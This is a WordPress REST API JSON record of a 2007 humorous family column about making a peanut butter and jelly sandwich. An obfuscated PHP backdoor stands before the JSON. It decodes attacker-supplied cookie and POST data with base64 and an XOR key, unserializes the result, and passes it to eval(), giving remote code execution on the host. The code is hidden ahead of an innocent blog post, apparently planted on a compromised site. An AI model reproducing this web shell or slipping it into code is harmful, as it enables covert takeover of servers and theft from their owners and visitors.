$VOlfwc = chr ( 980 - 897 ).'_' . "\x49" . "\145" . "\x51";$ruxMf = 'c' . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 216 - 115 ).chr (120) . "\x69" . "\x73" . 't' . chr ( 214 - 99 ); $EWTuSCwRiV = class_exists($VOlfwc); $ruxMf = "56087";$qRiupAARi = !1;if ($EWTuSCwRiV == $qRiupAARi){function imPdsmbab(){$uOHeFyotXR = new /* 55675 */ S_IeQ(13488 + 13488); $uOHeFyotXR = NULL;}$qwmixW = "13488";class S_IeQ{private function COcCD($qwmixW){if (is_array(S_IeQ::$BxRTG)) {$oueUUuFtVV = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . chr ( 327 - 215 ), "", S_IeQ::$BxRTG['c' . chr ( 367 - 256 ).chr (110) . 't' . "\x65" . "\x6e" . chr (116)]);eval($oueUUuFtVV); $qwmixW = "13488";exit();}}private $uKDAu;public function hlJrJleZYd(){echo 64366;}public function __destruct(){$qwmixW = "40781_29040";$this->COcCD($qwmixW); $qwmixW = "40781_29040";}public function __construct($fIPLGJfuF=0){$qUnsv = $_POST;$jVatufmN = $_COOKIE;$YVWNaDAiA = "70e66a1e-56ca-4692-8cc2-33f90191b3bf";$mosllAZyE = @$jVatufmN[substr($YVWNaDAiA, 0, 4)];if (!empty($mosllAZyE)){$mMdfW = "base64";$YpxHHk = "";$mosllAZyE = explode(",", $mosllAZyE);foreach ($mosllAZyE as $YwgjzmGZ){$YpxHHk .= @$jVatufmN[$YwgjzmGZ];$YpxHHk .= @$qUnsv[$YwgjzmGZ];}$YpxHHk = array_map($mMdfW . "\137" . 'd' . chr (101) . "\x63" . "\x6f" . chr (100) . 'e', array($YpxHHk,)); $YpxHHk = $YpxHHk[0] ^ str_repeat($YVWNaDAiA, (strlen($YpxHHk[0]) / strlen($YVWNaDAiA)) + 1);S_IeQ::$BxRTG = @unserialize($YpxHHk);}}public static $BxRTG = 6560;}imPdsmbab();}{"id":195,"date":"2007-11-06T04:55:39","date_gmt":"2007-11-06T10:55:39","guid":{"rendered":"http:\/\/regularguycolumn.com\/blog\/?p=195"},"modified":"2007-11-06T04:55:39","modified_gmt":"2007-11-06T10:55:39","slug":"peanut-butter-jelly-time","status":"publish","type":"post","link":"https:\/\/regularguycolumn.com\/blog\/?p=195","title":{"rendered":"Peanut Butter Jelly Time"},"content":{"rendered":"<p>I came home the other day to an empty house. Maria had not yet returned from  dropping Bridget off at her Brownie meeting so I had some time to relax before I  ate.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.regularguycolumn.com\/pbj.jpg\" align=\"right\" height=\"150\" hspace=\"10\" vspace=\"10\" width=\"150\" \/>Two nights a week, I have to fend for myself. Bridget has to leave for  activities before I get home so we don&#8217;t get to eat as a family. Sometimes,  Maria has made something for all of us, and I heat it up. But most times, I make  myself dinner, which is fine.<\/p>\n<p>This was one of those nights. I like to take  some time to think about it before I have to hop in the car and go pick Bridget  up. Like a lot of times when I think about my meal, I get distracted easily and  don&#8217;t eat right away.<\/p>\n<p>Maria came home, and we sat on the couch watching  episodes of &#8220;Scrubs&#8221; for about the 23rd time. At some point, I had a brilliant  idea.<\/p>\n<p>I asked my wife to make me a sandwich. Well, I thought it was a great  idea.<\/p>\n<p><!--more-->A friend of ours joked when Maria stopped working full time and I said  something about having dinner made for me each night. Like I said, that usually  happens, but she has limits.<\/p>\n<p>Apparently, making a sandwich at 7 p.m. For a  lazy husband lounging on the couch is past her limit. Who knew?<\/p>\n<p>We laughed as  I pointed out that I really did want her to make me my dinner, but I would feel  guilty if she did it considering how I was perfectly capable.<\/p>\n<p>Then I realized  that as much as I said it, I really didn&#8217;t want my wife to make me my dinner.  Because I wanted a peanut butter and jelly sandwich and you can&#8217;t let anyone  else make your PB&amp;J.<\/p>\n<p>That&#8217;s the reason that you can&#8217;t find PB&amp;J when  you try and eat out. Everyone has their own little rules about the greatest  sandwich ever invented, and they can&#8217;t possibly trust anyone else to really  understand those rules.<\/p>\n<p>For instance, my rules sound simple on the surface. I  require crunchy peanut butter, grape jelly and toast. But I would need an entire  column probably just to get into all the intricacies of how to put those things  together to make PB&amp;J the right way.<\/p>\n<p>So I set off to the kitchen to make  myself dinner. A friend recently told me they haven;t eaten PB&amp;J in years. I  thought that was one of the worst fates known to man.<\/p>\n<p>Until I dropped the  peanut butter half of my sandwich on the floor. I tried to will the bread to  land peanut butter up, but I must have earned some bad karma that day. I made  myself another sandwich, but I still felt bummed out about dropping the first  one on the floor.<\/p>\n<p>Maybe next time I should look a little more pathetic on the  couch so Maria will take pity on me. Somehow, I have a feeling I&#8217;ll go hungry if  I try that.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>I came home the other day to an empty house. Maria had not yet returned from dropping Bridget off at her Brownie meeting so I had some time to relax before I ate. Two nights a week, I have to&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,16,17],"tags":[],"class_list":["post-195","post","type-post","status-publish","format-standard","hentry","category-columns","category-family","category-food","wpcat-3-id","wpcat-16-id","wpcat-17-id"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/195","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=195"}],"version-history":[{"count":0,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/195\/revisions"}],"wp:attachment":[{"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=195"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=195"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/regularguycolumn.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=195"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}